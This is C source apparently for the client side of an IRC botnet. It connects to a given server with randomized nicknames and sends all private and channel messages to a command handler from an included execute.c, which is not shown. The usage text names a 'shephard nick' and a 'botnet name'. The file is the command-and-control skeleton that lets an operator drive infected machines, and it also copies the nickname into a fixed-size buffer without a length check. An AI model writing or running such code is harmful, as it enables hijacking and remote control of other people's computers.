
#include <time.h>
#include <stdlib.h>
#include <unistd.h>

#include "libircclient.h"
#include "execute.c"
#include "structs.h"
#include "events.c"
#include "util.c"


/*
 * Loop until Connected 
 */
void try_connect(irc_session_t * session,char * server, int port,char * basenick)
{
	char * base = malloc(strlen(basenick)+1);
	strcpy(base,basenick);
	log_msg("trying connect\n","");
	int nickbuffsize = 30;
	char *nickbuff = malloc(nickbuffsize+1);
	memset(nickbuff,0,nickbuffsize);
	do
	{
		memset(nickbuff,0,nickbuffsize);
		int buffsize = 4;
		char * buff = malloc(buffsize+1);
		randstr(buff,buffsize);
		strcpy(nickbuff,base);
		strcat(nickbuff,buff);
		free(buff);
		log_msg("trying nick %s\n",nickbuff);
		irc_connect(session,server,port,0,nickbuff,0,0);
		sleep(1);
	}
	while(! irc_is_connected(session));
	char  * nick = ((irc_ctx_t *)irc_get_ctx(session))->nick;
	strcpy(nick,nickbuff);
	free(nickbuff);
	free(base);
}


/*
 * run the program
 */
int run(char * basenick,char * serv,char * chan, char * report, int port)
{
	srand ( (unsigned)time ( NULL ) );
	irc_callbacks_t	callbacks;
	irc_ctx_t ctx;
	irc_session_t * s;

	ctx.exitflag = 0;
	ctx.channel = chan;
	ctx.report = report;
	int nicksize =30;
	char * nick = malloc(nicksize);
	memset(nick,0,nicksize);
	ctx.nick = nick;

	// Initialize the callbacks
	memset (&callbacks, 0, sizeof(callbacks));

	// Set up the callbacks we will use
	callbacks.event_connect = event_connect;
	callbacks.event_privmsg = try_command;
	callbacks.event_channel = try_command;

	// And create the IRC session; 0 means error
	s = irc_create_session (&callbacks);

	if ( !s )
	{
		log_msg("did not create session\n","");
		return 1;
	}

	irc_set_ctx (s, &ctx);
	irc_option_set (s, LIBIRC_OPTION_STRIPNICKS);
	try_connect(s,serv,port,basenick);
	chdir(getenv("HOME"));
	if (irc_is_connected(s))
		irc_run (s);
	else
		log_msg("connect failed\n","");
	return 1;
}

int main(int argc, char ** argv)
{
	
	if(argc == 6)
		return run(argv[5],argv[1],argv[2],argv[3],atoi(argv[4]));
	else
		printf("%s usage -- <server> <channel> <shephard nick> <port> <botnet name> \n", argv[0]);
}
